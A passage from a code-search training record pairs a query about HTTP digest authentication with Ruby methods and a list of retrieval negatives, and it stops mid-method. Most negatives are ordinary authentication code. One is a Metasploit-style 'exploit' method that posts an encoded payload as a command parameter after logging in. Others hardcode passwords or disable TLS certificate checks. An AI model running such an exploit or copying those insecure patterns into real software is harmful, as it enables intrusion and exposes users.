Send the request to the server. If the response is unauthorized, an attempt to log in using http digest authentication is made.
def handle_request(request) add_cookies!(request) authenticate_request!(request) response = @client.request(request) set_cookies(response) case response when Net::HTTPUnauthorized response = respond_to_challenge(request, response) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def require_login\n qop = ''\n case @qop\n when QOP_AUTH\n qop = 'auth'\n when QOP_AUTHINT\n qop = 'auth-int'\n when QOP_AUTH | QOP_AUTHINT\n qop = 'auth,auth-int'\n end\n\n @response.add_header('WWW-Authenticate', \"Digest realm=\\\"#{@realm}\\\",qop=\\\"#{qop}\\\",nonce=\\\"#{@nonce}\\\",opaque=\\\"#{@opaque}\\\"\")\n @response.status = 401\n end", "def request_http_digest_authentication(realm = T.unsafe(nil), message = T.unsafe(nil)); end", "def do_auth\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),\r\n 'method' => 'POST',\r\n 'cookie' => \"atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}\",\r\n 'vars_post' => {\r\n 'os_username' => datastore['HttpUsername'],\r\n 'os_password' => datastore['HttpPassword'],\r\n 'os_destination' => '',\r\n 'user_role' => '',\r\n 'atl_token' => '',\r\n 'login' => 'Log+In'\r\n }\r\n })\r\n end", "def authenticate_request!(request)\n return if @authentication_params.empty?\n \n puts \"AUTHENTICATION PARAMS: #{@authentication_params.inspect}\"\n @nonce_count += 1\n cnonce = Digest::MD5.hexdigest(Time.now.to_s + rand(65535).to_s)\n a1 = \"#{@http_login}:#{@authentication_params['realm']}:#{@password}\"\n a2 = \"#{request.method}:#{request.path}\"\n\n response_digest = Digest::MD5.hexdigest(a1) << ':' <<\n @authentication_params['nonce'] << ':' <<\n ('%08x' % @nonce_count) << ':' <<\n cnonce << ':' <<\n @authentication_params['qop'] << ':' <<\n Digest::MD5.hexdigest(a2)\n\n request['Authorization'] = \"Digest username=\\\"#{@http_login}\\\", \" <<\n \"realm=\\\"#{@authentication_params['realm']}\\\", \" <<\n \"nonce=\\\"#{@authentication_params['nonce']}\\\", \" <<\n \"uri=\\\"#{request.path}\\\", \" <<\n \"nc=#{'%08x' % @nonce_count}, \" <<\n \"qop=\\\"#{@authentication_params['qop']}\\\", \" <<\n \"cnonce=\\\"#{cnonce}\\\", \" <<\n \"response=\\\"#{Digest::MD5.hexdigest(response_digest)}\\\"\"\n end", "def require_login\n @response.add_header('WWW-Authenticate', \"Basic realm=\\\"#{@realm}\\\"\")\n @response.status = 401\n end", "def http_auth_login\n # FIXME: Implement\n end", "def authenticate_with_digest\n authenticate_or_request_with_http_digest(REALM) do |mkey|\n @user = @current_user = User.find_by_mkey(mkey)\n @user && @user.auth\n end\n end", "def digest_auth(opts={})\n cnonce = make_cnonce\n nonce_count = 0\n\n to = opts['timeout'] || 20\n\n digest_user = opts['username'] || \"\"\n digest_password = opts['password'] || \"\"\n\n method = opts['method']\n path = opts['uri']\n iis = true\n if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false)\n iis = false\n end\n\n begin\n nonce_count += 1\n\n resp = opts['response']\n\n if not resp\n # Get authentication-challenge from server, and read out parameters required\n r = request_cgi(opts.merge({\n 'uri' => path,\n 'method' => method }))\n resp = _send_recv(r, to)\n unless resp.kind_of? Rex::Proto::Http::Response\n return nil\n end\n\n if resp.code != 401\n return resp\n end\n return resp unless resp.headers['WWW-Authenticate']\n end\n\n # Don't anchor this regex to the beginning of string because header\n # folding makes it appear later when the server presents multiple\n # WWW-Authentication options (such as is the case with IIS configured\n # for Digest or NTLM).\n resp['www-authenticate'] =~ /Digest (.*)/\n\n parameters = {}\n $1.split(/,[[:space:]]*/).each do |p|\n k, v = p.split(\"=\", 2)\n parameters[k] = v.gsub('\"', '')\n end\n\n qop = parameters['qop']\n\n if parameters['algorithm'] =~ /(.*?)(-sess)?$/\n algorithm = case $1\n when 'MD5' then Digest::MD5\n when 'SHA1' then Digest::SHA1\n when 'SHA2' then Digest::SHA2\n when 'SHA256' then Digest::SHA256\n when 'SHA384' then Digest::SHA384\n when 'SHA512' then Digest::SHA512\n when 'RMD160' then Digest::RMD160\n else raise Error, \"unknown algorithm \\\"#{$1}\\\"\"\n end\n algstr = parameters[\"algorithm\"]\n sess = $2\n else\n algorithm = Digest::MD5\n algstr = \"MD5\"\n sess = false\n end\n\n a1 = if sess then\n [\n algorithm.hexdigest(\"#{digest_user}:#{parameters['realm']}:#{digest_password}\"),\n parameters['nonce'],\n cnonce\n ].join ':'\n else\n \"#{digest_user}:#{parameters['realm']}:#{digest_password}\"\n end\n\n ha1 = algorithm.hexdigest(a1)\n ha2 = algorithm.hexdigest(\"#{method}:#{path}\")\n\n request_digest = [ha1, parameters['nonce']]\n request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop\n request_digest << ha2\n request_digest = request_digest.join ':'\n\n # Same order as IE7\n auth = [\n \"Digest username=\\\"#{digest_user}\\\"\",\n \"realm=\\\"#{parameters['realm']}\\\"\",\n \"nonce=\\\"#{parameters['nonce']}\\\"\",\n \"uri=\\\"#{path}\\\"\",\n \"cnonce=\\\"#{cnonce}\\\"\",\n \"nc=#{'%08x' % nonce_count}\",\n \"algorithm=#{algstr}\",\n \"response=\\\"#{algorithm.hexdigest(request_digest)[0, 32]}\\\"\",\n # The spec says the qop value shouldn't be enclosed in quotes, but\n # some versions of IIS require it and Apache accepts it. Chrome\n # and Firefox both send it without quotes but IE does it this way.\n # Use the non-compliant-but-everybody-does-it to be as compatible\n # as possible by default. The user can override if they don't like\n # it.\n if qop.nil? then\n elsif iis then\n \"qop=\\\"#{qop}\\\"\"\n else\n \"qop=#{qop}\"\n end,\n if parameters.key? 'opaque' then\n \"opaque=\\\"#{parameters['opaque']}\\\"\"\n end\n ].compact\n\n headers ={ 'Authorization' => auth.join(', ') }\n headers.merge!(opts['headers']) if opts['headers']\n\n # Send main request with authentication\n r = request_cgi(opts.merge({\n 'uri' => path,\n 'method' => method,\n 'headers' => headers }))\n resp = _send_recv(r, to, true)\n unless resp.kind_of? Rex::Proto::Http::Response\n return nil\n end\n\n return resp\n\n rescue ::Errno::EPIPE, ::Timeout::Error\n end\n end", "def send_credentials\n dputs __method__.to_s\n login_req = setup_http_request($ident, @cookie, {:arg => [$CONF['user'], CGI.escape($CONF['pass'])]})\n res = @http.request(login_req)\n get_cookie(res)\n end", "def request(params)\n unless @cookie\n do_login\n end\n begin\n do_request(params)\n rescue Excon::Errors::Unauthorized => e\n do_login\n do_request(params)\n end\n end", "def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end", "def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end", "def send_auth_request \n request = AuthorizeRequest.new(:get, action_to_call) do |req|\n req.request_params = params\n end\n request.send_request(Config.url)\n end", "def request(params)\n unless @cookie\n do_login\n end\n begin\n do_request(params)\n rescue Excon::Errors::Unauthorized\n do_login\n do_request(params)\n end\n end", "def respond\n\t\tif http_auth?\n\t\t\t\thttp_auth\n\t\telse\n\t\t\t\tredirect\n\t\tend\n\tend", "def login_required\n return if authorized?\n unauthorized! unless auth.provided?\n bad_request! unless auth.basic?\n unauthorized! unless authorize(*auth.credentials)\n @req.env['REMOTE_USER'] = auth.username\n end", "def send_request(requrl, digest)\n url = URI.parse(requrl)\n # Create our request object and set the Authentication header with our encrypted data\n https = Net::HTTP.new(url.host, url.port)\n https.use_ssl = true\n https.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n # Make our request object with Auth field\n req = Net::HTTP::Get.new(url.to_s)\n req.add_field(\"Authentication\", digest) if digest\n\n # Send the request, put response into res\n\n # FIRXME handle errors\n res = https.request(req)\n\n # Return an empty string if res.body is blank\n return \"\" if res.body.blank?\n\n # Output successful result\n return JSON.parse(res.body)\n end", "def send_auth(res, opts, t, persist)\n if opts['username'].nil? or opts['username'] == ''\n if self.username and not (self.username == '')\n opts['username'] = self.username\n opts['password'] = self.password\n else\n opts['username'] = nil\n opts['password'] = nil\n end\n end\n\n return res if opts['username'].nil? or opts['username'] == ''\n supported_auths = res.headers['WWW-Authenticate']\n\n # if several providers are available, the client may want one in particular\n preferred_auth = opts['preferred_auth']\n\n if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic')\n opts['headers'] ||= {}\n opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] )\n req = request_cgi(opts)\n res = _send_recv(req,t,persist)\n return res\n elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest')\n temp_response = digest_auth(opts)\n if temp_response.kind_of? Rex::Proto::Http::Response\n res = temp_response\n end\n return res\n elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM')\n opts['provider'] = 'NTLM'\n temp_response = negotiate_auth(opts)\n if temp_response.kind_of? Rex::Proto::Http::Response\n res = temp_response\n end\n return res\n elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate')\n opts['provider'] = 'Negotiate'\n temp_response = negotiate_auth(opts)\n if temp_response.kind_of? Rex::Proto::Http::Response\n res = temp_response\n end\n return res\n end\n return res\n end", "def login!\n connect! unless connected?\n @auth_header = @connection.head(@url.path)\n end", "def authenticate\n uri = create_uri(\"#{@server_url}api/authenticate\")\n h = Net::HTTP.new uri.host, uri.port\n req = Net::HTTP::Get.new uri.request_uri\n res = h.request req\n @digest_auth = Net::HTTP::DigestAuth.new\n @header = res['www-authenticate']\n unless @header\n raise 'No [www-authenticate] header in the server\\'s response'\n end\n end", "def send_recv(req, t = -1, persist = false)\n res = _send_recv(req, t, persist)\n if res and res.code == 401 and res.headers['WWW-Authenticate']\n res = send_auth(res, req.opts, t, persist)\n end\n res\n end", "def login()\n content = {\n 'Email' => @username,\n 'Passwd' => @password,\n 'source' => @app_name,\n 'accountType' => 'HOSTED_OR_GOOGLE',\n 'service' => 'cl'}\n\n response = send(Addressable::URI.parse(@auth_url), :post_form, content)\n\n raise HTTPRequestFailed unless response.kind_of? Net::HTTPSuccess\n\n @token = response.body.split('=').last\n @headers = {\n 'Authorization' => \"GoogleLogin auth=#{@token}\",\n 'Content-Type' => 'application/atom+xml'\n }\n @update_header = @headers.clone\n @update_header[\"If-Match\"] = \"*\"\n end", "def digest_authenticate(req, url, param_string = \"\")\n raise \"Digest authentication requires a WWW-Authenticate header\" if param_string.empty?\n\n params = parse_wwwauth_digest(param_string)\n qop = params[:qop]\n\n user, pass = username_and_password_for_realm(url, params[:realm])\n\n if params[:algorithm] == \"MD5\"\n a1 = user + \":\" + params[:realm] + \":\" + pass\n else\n # XXX MD5-sess\n raise \"I only support MD5 digest authentication (not #{params[:algorithm].inspect})\"\n end\n\n if qop.nil? or qop.member? \"auth\"\n a2 = req.method + \":\" + req.path\n else\n # XXX auth-int\n raise \"only 'auth' qop supported (none of: #{qop.inspect})\"\n end\n\n if qop.nil?\n response = kd(h(a1), params[:nonce] + \":\" + h(a2))\n else\n @@nonce_count += 1\n nc = ('%08x' % @@nonce_count)\n\n # XXX auth-int\n data = \"#{params[:nonce]}:#{nc}:#{CNONCE}:#{\"auth\"}:#{h(a2)}\"\n\n response = kd(h(a1), data)\n end\n\n header = %Q<Digest username=\"#{user}\", uri=\"#{req.path}\", realm=\"#{params[:realm]}\", response=\"#{response}\", nonce=\"#{params[:nonce]}\">\n\n if params[:opaque]\n header += %Q<, opaque=\"#{params[:opaque]}\">\n end\n\n if params[:algorithm] != \"MD5\"\n header += \", algorithm=#{algo}\"\n end\n\n if qop\n # XXX auth-int\n header += %Q<, nc=#{nc}, cnonce=\"#{CNONCE}\", qop=auth>\n end\n\n req[\"Authorization\"] = header\n end", "def login\n content = {\n 'Email' => @username,\n 'Passwd' => @password,\n 'source' => @app_name,\n 'accountType' => 'HOSTED_OR_GOOGLE',\n 'service' => 'cl'}\n\n response = send(Addressable::URI.parse(@auth_url), :post_form, content)\n\n raise HTTPRequestFailed unless response.kind_of? Net::HTTPSuccess\n\n @token = response.body.split('=').last\n @headers = {\n 'Authorization' => \"GoogleLogin auth=#{@token}\",\n 'Content-Type' => 'application/atom+xml'\n }\n @update_header = @headers.clone\n @update_header[\"If-Match\"] = \"*\"\n end", "def authenticate!\n token = Configuration.authentication_token\n secret = Configuration.authentication_secret\n creds = {token => params[token], secret => params[secret]}\n\n response = HTTPClient.get(Configuration.authentication_endpoint, creds)\n\n unless response.ok?\n halt(403, \"Authentication failed: #{response.body}\")\n end\n end", "def authenticate_request\n if auth_token_expired?\n fail AuthenticationTimeoutError\n elsif !@current_user\n render json: { error: \"401\" }, status: :unauthorized\n end\n end", "def login\n response = get \"server\"\n response.code == 200\n end", "def login\n response = get \"server\"\n response.code == 200\n end", "def protected!\n if !authorized?\n response['WWW-Authenticate'] = %(Basic realm=\"TweetClone\")\n throw(:halt, [401, \"Not authorized\\n\"])\n end\n end", "def authenticate_request!\n return render_unauthorized unless request.headers['Authorization'].present?\n\n @token ||= AuthenticateRequest.get(User, request.headers['Authorization'].split(' ').last)\n @current_user = @token[:user]\n end", "def authenticate_with_http_digest(realm = T.unsafe(nil), &password_procedure); end", "def authenticate!\n error!(\"401 Unauthorized\", 401) unless check_auth_token \n end", "def challenge(request, response)\n auth = Http::Auth::Bearer.new(\n @realm,\n request,\n response\n )\n auth.require_login\n end", "def response(env)\n env.trace 'open send connection'\n env.logger.debug \"Begin send request\"\n validate_send_params # Ensure required parameters\n if authenticate\n [200, {}, prepare_send_request]\n else\n [401, {}, \"Unauthorized\"]\n end\n end", "def login_0\n\n #definde needed header\n headers = {'Authorization' => \"Basic \" + @base_user_string}\n\n #Login\n response = request({:method => \"POST\", :url => @host + \"login\", :headers => headers})\n\n #Get organisation link\n @org_link = parse_content(response.body, '//Org')[0].attribute('href').to_s\n\n #Get authentication header key\n @auth_key = response.headers[:x_vcloud_authorization]\n\n end", "def authenticate_request!\n raise Exceptions::UnauthorizedError unless current_member\n\n current_member\n end", "def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end", "def http(method, *args)\n args.last.merge!(self.default_headers).merge!(\"X-Auth-Token\" => self.auth_token)\n response = RestClient.send(method, *args)\n @retried = false\n response\n rescue RestClient::Unauthorized\n @auth_response = nil\n if @retried\n raise\n else\n @retried = true\n retry\n end\n end", "def request_auth(from, to, message)\n #handeled by send_im\n return send_im(from, to, message)\nend", "def authenticate!(request)\n if @username and @password \n request.basic_auth @username, @password\n end\n end", "def authorize!\n response = till_response { send_raw_request(authorization_params) }\n raise AuthenticationError.new(\"Could not authenticate with Zabbix API at #{uri}: #{response.error_message}\") if response.error?\n raise AuthenticationError.new(\"Malformed response from Zabbix API: #{response.body}\") unless response.string?\n @auth = response.result\n end", "def request_http_digest_authentication(realm = \"Application\", message = nil)\n HttpAuthentication::Digest.authentication_request(self, realm, message)\n end", "def respond_to_challenge(request, response)\n authenticate_header = response['www-authenticate'].downcase\n authenticate_header.sub!(/^digest /, '')\n\n @authentication_params = authenticate_header.split(\", \").inject({}) { |h, field|\n key, value = field.split(\"=\")\n h[key] = value.gsub(/^\"|\"$/, '') # strip quotes.\n \n h\n }\n add_cookies!(request)\n authenticate_request!(request)\n request.each{|k,v| puts \"#{k}: #{v}\" }\n # Resend the request\n @client.request(request)\n end", "def http_req_with_digest_auth (http_req, body = nil)\n digest = nil\n begin\n http_req.add_field 'Authorization', digest unless digest.nil?\n http_resp = @http.request(http_req, body)\n case http_resp\n when Net::HTTPUnauthorized\n raise HTTPAuthChal if digest.nil?\n end\n http_resp\n rescue HTTPAuthChal\n digest = @digest_auth.auth_header @base_uri, http_resp['www-authenticate'], http_req.method\n retry\n end\n end", "def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'Not Authorized' }, status: 401 unless @current_user\n end", "def authenticate_user\n authenticate_or_request_with_http_token do |token, options|\n @user = User.find_by_auth_key(token)\n head :unauthorized unless @user\n return\n end\n end", "def exploit\n begin\n # attempt a login. In this case we show basic auth, and a POST to a fake username/password\n # simply to show how both are done\n vprint_status('Attempting login')\n # since we will check res to see if auth was a success, make sure to capture the return\n res = send_request_cgi(\n 'uri' => '/login.html',\n 'method' => 'POST',\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n 'vars_post' => {\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n }\n )\n\n # a valid login will give us a 301 redirect to /home.html so check that.\n # ALWAYS assume res could be nil and check it first!!!!!\n if res && res.code != 301\n fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\")\n end\n\n # grab our valid cookie\n cookie = res.get_cookies\n # we don't care what the response is, so don't bother saving it from send_request_cgi\n vprint_status('Attempting exploit')\n send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'command.html'),\n 'method' => 'POST',\n 'cookie' => cookie,\n 'vars_post' =>\n {\n 'cmd_str' => payload.encoded\n }\n )\n\n rescue ::Rex::ConnectionError\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n end\n\n end", "def process_no_auth(request, response)\n response.start(401, true) do |head,out|\n head['WWW-Authenticate'] = 'NTLM'\n end\n end", "def authenticate\n @shoonga = authenticate_or_request_with_http_basic do |username, password|\n username == \"4vght\" && password == \"we8vds\"\n end\nend", "def request_phase\n redirect authorize_endpoint_url\n end", "def require_auth\n head :unauthorized unless current_user\n end", "def authenticate_user!\n # check for API/signed requests\n if request.headers.env[\"HTTP_AUTHORIZATION\"] || request.headers.env[\"Authorization\"] then\n agent = Agent.where(:access_key => ApiAuth.access_id(request)).first\n begin\n if not(agent and ApiAuth.authentic?(request, agent.secret_key)) then\n return render :text => Bixby::JsonResponse.new(\"fail\", \"authentication failed\", nil, 401).to_json, :status => 401\n end\n rescue ApiAuth::ApiAuthError => ex\n return render :text => Bixby::JsonResponse.new(\"fail\", ex.message, nil, 401).to_json, :status => 401\n end\n @current_user = agent # TODO hrm.. hack much?\n return false\n end\n\n # authenticate a request from a browser session\n super\n end", "def auth_send(funcname, args = nil)\n txid = get_txid\n\n # setup authenticated request if password given\n if @password\n cookie = get_cookie\n\n request = {\n 'q' => 'auth',\n 'aq' => funcname,\n 'hash' => Digest::SHA256.hexdigest(@password + cookie),\n 'cookie' => cookie,\n 'txid' => txid\n }\n\n request['args'] = args if args\n request['hash'] = Digest::SHA256.hexdigest(request.bencode)\n\n # if no password is given, try request without auth\n else\n request = { 'q' => funcname, 'txid' => txid }\n request['args'] = args if args\n end\n\n response = send request\n raise 'wrong txid in reply' if response['txid'] and response['txid'] != txid\n response\n end", "def http_login(username, password)\n @request.env['HTTP_AUTHORIZATION'] = \"Basic #{Base64.encode64(username << ':' << password)}\"\n end", "def authenticate_request\n auth_header_token = request.headers[\"Authorization\"]\n @current_user = AuthorizeApiRequest.new(auth_header_token).call\n render json: { error: \"Not Authorized\" }, status: 401 unless @current_user\n end", "def authenticate!\n\t\t@current_user = AuthorizeApiRequest.call(request.headers).result\n\t\t# If unauthorized return an error to the front end\n\t\trender json: {error: 'Not Authorized'}, status: 401 unless @current_user\n\tend", "def login(host)\n # Set the timeout to 15 minutes\n @session_timeout = (Time.new.to_i + 900)\n\n login_headers = { 'referer' => \"https://#{@uri.host}/ipa/ui/index.html\", 'Accept' => 'application/json' }\n\n if @method == :keberose\n login_method = 'login_kerberos'\n gssapi = GSSAPI::Simple.new(@uri.host, 'HTTP')\n # Initiate the security context\n token = gssapi.init_context\n login_headers.merge!('Authorization' => \"Negotiate #{Base64.strict_encode64(token)}\", 'Content-Type' => 'application/json')\n login_request = { method: 'ping', params: [[], {}] }\n elsif @method == :user_pass\n login_method = 'login_password'\n login_headers.merge!('Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'text/plain')\n login_request = @credentials\n end\n\n login_uri = URI.parse(\"https://#{@uri.host}/ipa/session/#{login_method}\")\n\n resp = @http.post(login_uri, login_request, login_headers)\n\n return unless resp.status != 200\n\n # invalid passowrd could also mean invalid username\n puts \"HTTP #{resp.status.to_s + ':' + resp.reason} Error authenticating user: #{resp.headers['X-IPA-Rejection-Reason']}\"\n end", "def ping\n if user_matches_authentication?\n response = authenticated_user_response\n else\n response = unauthenticated_user_response\n end\n respond_with response\n end", "def send_get_request(path, options = {})\n # we try to send the request. if it fails due to auth, we need the returned scope\n # thats why we first try to do it without auth, then reusing the scope from the response\n response = self.class.get(path, options)\n # need auth\n case (response.code)\n when 200\n # just continue\n when 401\n authenticate(response)\n response = self.class.get(path, options)\n else\n end\n unless response.code == 200\n throw \"Could not finish request, status #{response.code}\"\n end\n response\n end", "def index\n res = create_request2(root_url + '/login/auth', 'tequila.epfl.ch')\n redirect_to ('https://tequila.epfl.ch/cgi-bin/tequila/requestauth?request' + res)\n end", "def authenticate\n RestClient.post @apiurl + \"authenticate\", \n :username => @username, \n :password => @password\n rescue RestClient::RequestFailed\n handle_error($!)\n return false\n end", "def authenticate_user\n authenticate_or_request_with_http_token do |token, options|\n @user = User.find_by_auth_key(token)\n head :unauthorized unless @user\n return\n end\n end", "def authenticate_request\n render :json => { :error => :unauthorized }, :status => :unauthorized unless current_user\n end", "def authorise\n #FIRST SINGLE USE TOKEN WILL BE RECEIVED HERE..\n token = params[:token]\n #PREPAIRING FOR SECOND REQUEST WITH AUTH TOKEN IN HEADER.. WHICH WILL BE EXCHANED FOR PERMANENT AUTH TOKEN.\n uri = URI.parse(\"https://www.google.com\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = '/accounts/AuthSubSessionToken'\n headers = {'Authorization'=>\"AuthSub token=#{token}\"}\n\n #GET REQUEST ON URI WITH SPECIFIED PATH...\n resp, data = http.get(path, headers)\n #SPLIT OUT TOKEN FROM RESPONSE DATA.\n if resp.code == \"200\"\n token = ''\n data.split.each do |str|\n if not (str =~ /Token=/).nil?\n token = str.gsub(/Token=/, '')\n end\n end \n return redirect_to(:action => 'import', :token => token)\n else\n redirect_to root_url , :notice => \"fail\"\n end\n end", "def http_request(data)\n\t\t\tunless @connection\n\t\t\t\t@connection = Net::HTTP.new(@host, @port)\n\t\t\t\t@connection.use_ssl = @ssl\n\t\t\tend\n\n\t\t\treq = Net::HTTP::Post.new('/')\n\t\t\treq.basic_auth(@user, @password)\n\t\t\treq.content_type = 'multipart/form_data'\n\t\t\treq.body = data\n\n\t\t\tresp = @connection.request(req)\n\t\t\tif Net::HTTPUnauthorized === resp\n\t\t\t\traise AuthenticationError.new(self)\n\t\t\tend\n\n\t\t\tresp.body()\n\t\tend", "def require_authenticated_user\n return if authenticate_or_request_with_http_basic do |ident_string, secret_string|\n ident_string == 'karl' && secret_string.to_s.crypt(ident_string)\n end\n render :text => \"You must be logged in to view this site\", :layout => false, :status => status\n end", "def auth\n if request.get?\n show_auth\n elsif request.post?\n check_auth\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n self.username == username && self.password == password\n end\n end", "def authenticate_request!\n\t\t# unless is if in reverse. If user_id_in_token == false then render error\n\t unless user_id_in_token?\n\t render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n\t return\n\t end\n\t @current_user = User.find(auth_token[:user_id])\n\trescue JWT::VerificationError, JWT::DecodeError\n\t render json: { errors: ['Not Authenticated'] }, status: :unauthorized\n\tend", "def process_type1_auth(ntlm, request, response)\n t1 = request.ntlm_token\n t2 = ntlm.accept_security_context(t1)\n\n response.start(401) do |head,out|\n head['WWW-Authenticate'] = \"NTLM #{t2}\"\n end\n \n response.ntlm_finished\n end", "def authenticate(uri)\n request = Net::HTTP::Get.new(uri)\n request['Accept'] = 'application/json'\n request['Authorization'] = \"Bearer #{@session_token}\"\n request\n end", "def respond\n if http_auth?\n http_auth\n else\n flash.now[:alert] = i18n_message(:invalid) if is_flashing_format? && warden_options[:recall]\n redirect\n end\n end", "def ensure_authenticated_user\n puts \"#{!is_report_request}\"\n if !is_report_request\n head :unauthorized unless current_user\n end\n #head :unauthorized unless current_user\n end", "def authenticate_user!\n unless @current_user\n head :unauthorized\n end\n end", "def authenticate_user!\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n session = Session.active_sessions.find_by_id(request.headers['sid'])\n if session.nil? || session.utoken != request.headers['utoken']\n render_error_add :unauthorized, 'unauthorized' and return\n end\n else\n render_error_add :unauthorized, 'unauthorized' and return\n end\n end", "def authenticate!\n # if the authentication header is an acceptible value\n if @env['HTTP_X_MY_API'] == 'foobar'\n user = { :id => 1, :name => \"some user\" }\n # warden doesn't care what the user is, so long as it's not nil.\n success! user, \"success\"\n end\n end", "def authenticate\n case request.format\n when Mime::XML, Mime::JSON\n unless logged_in? && admin?\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == USER_NAME && password == PASSWORD\n end\n end\n else\n render_404 and return unless logged_in? && admin?\n end\n end", "def authorize_request\n\t\tauthenticate_with_http_token do |token, options|\n\t\t\tUser.find_by(token: token)\n\t\tend\n\tend", "def login\n params = {\n 'method' => :post,\n 'command' => '/sessions'\n }\n\n response, headers = send_request(params)\n\n if !headers.has_key?(:x_vcloud_authorization)\n raise \"Unable to authenticate: missing x_vcloud_authorization header\"\n end\n\n @auth_key = headers[:x_vcloud_authorization]\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n self.username == username && self.password == password\n end\n end", "def execute_get_web_request(path, guest=false)\n if guest\n username='guest'\n password='password'\n else\n username=@username\n password=@password\n end\n uri=URI.parse \"#{@base_url}#{path}\"\n puts \"sending web request to #{uri.to_s}\"\n http_obj=Net::HTTP.new(uri.host, uri.port)\n request=Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth(username, password)\n http_obj.request(request).code\n end", "def authenticate!\n # Do nothing yet\n end", "def require_authentication\n render_failed_auth_response unless authentication_successful? # render a 401 error\n end", "def send_request(req, uri, login, password_callback=PasswordCallback,loopcounter=0,stopflag=false)\n if loopcounter > 7\n if stopflag\n raise \"Infinite loop detected\"\n else\n warn \"Loop detected. Clearing out cookiefile..\"\n loopcounter = 0\n stopflag = true\n File.open(get_cookiefile(login), 'w') { |file| file.write(nil) }\n end\n end\n cookies = get_cookies_for_uri(get_cookiefile(login), uri)\n if !cookies.empty?\n cookiestring = cookies.collect{|cookie| \"#{cookie[:name]}=#{cookie[:value]}\" }.join('; ')\n puts \"Inserting cookies into request: #{cookiestring}\" if (@debug)\n req['Cookie'] = cookiestring\n end\n\n response = make_http(uri).request(req)\n extract_cookie(response, uri, login)\n\n # Check for signs that the server wants us to authenticate\n password = nil\n if login == 'autoreg'\n password = 'mypassword'\n end\n # nVentory will redirect to the login controller if authentication is\n # required. The scheme and port in the redirect location could be either\n # the standard server or the https variant, depending on whether or not\n # the server administration has turned on the ssl_requirement plugin.\n if response.kind_of?(Net::HTTPFound) &&\n response['Location'] &&\n URI.parse(response['Location']).host == URI.parse(@server).host &&\n URI.parse(response['Location']).path == URI.join(@server, 'login/login').path\n puts \"Server responsed with redirect to nVentory login: #{response['Location']}\" if (@debug)\n loginuri = URI.parse(response['Location'])\n ####################### Fix by darrendao - force it to use https ##########################\n # This is needed because if you're not usign https, then you will get\n # redirected to https login page, rather than being logged in. So the check down there will\n # will.\n loginuri.scheme = 'https'\n loginuri = URI.parse(loginuri.to_s)\n ############################################################################################\n loginreq = Net::HTTP::Post.new(loginuri.request_uri)\n if password_callback.kind_of?(Module)\n password = password_callback.get_password if (!password)\n else\n password = password_callback if !password\n end\n loginreq.set_form_data({'login' => login, 'password' => password})\n # Include the cookies so the server doesn't have to generate another\n # session for us.\n loginreq['Cookie'] = cookiestring\n loginresponse = make_http(loginuri).request(loginreq)\n if @debug\n puts \"nVentory auth POST response (#{loginresponse.code}):\"\n if loginresponse.body.strip.empty?\n puts '<Body empty>'\n else\n puts loginresponse.body\n end\n end\n # The server always sends back a 302 redirect in response to a login\n # attempt. You get redirected back to the login page if your login\n # failed, or redirected to your original page or the main page if the\n # login succeeded.\n if loginresponse.kind_of?(Net::HTTPFound) &&\n URI.parse(loginresponse['Location']).path != loginuri.path\n puts \"Authentication against nVentory server succeeded\" if (@debug)\n extract_cookie(loginresponse, loginuri, login)\n puts \"Resending original request now that we've authenticated\" if (@debug)\n return send_request(req, uri, login, password_callback)\n else\n puts \"Authentication against nVentory server failed\" if (@debug)\n end\n end\n\n # An SSO-enabled app will redirect to SSO if authentication is required\n if response.kind_of?(Net::HTTPFound) && response['Location'] && URI.parse(response['Location']).host == URI.parse(@sso_server).host\n puts \"Server responsed with redirect to SSO login: #{response['Location']}\" if (@debug)\n if login == 'autoreg'\n loginuri = URI.join(@server, 'login/login')\n puts \"** Login user is 'autoreg'. Changing loginuri to #{loginuri.to_s}\" if @debug\n unless loginuri.scheme == 'https'\n loginuri.scheme = 'https'\n loginuri = URI.parse(loginuri.to_s)\n end\n else\n loginuri = URI.parse(response['Location'])\n end\n # update the loginuri to the non-redirect uri of sso\n loginuri.path = '/login'\n loginuri.query = 'noredirects=1'\n loginreq = Net::HTTP::Post.new(loginuri.request_uri)\n if password_callback.kind_of?(Module)\n password = password_callback.get_password if (!password)\n else\n password = password_callback if !password\n end\n loginreq.set_form_data({'login' => login, 'password' => password})\n # It probably doesn't matter, but include the cookies again for good\n # measure\n loginreq['Cookie'] = cookiestring\n # Telling the SSO server we want XML back gets responses that are easier\n # to parse.\n loginreq['Accept'] = 'application/xml'\n loginresponse = make_http(loginuri).request(loginreq)\n # if it's a redirect (such as due to NON-fqdn) loop so that it follows until no further redirect\n while [Net::HTTPMovedPermanently, Net::HTTPFound].include?(loginresponse.class)\n if 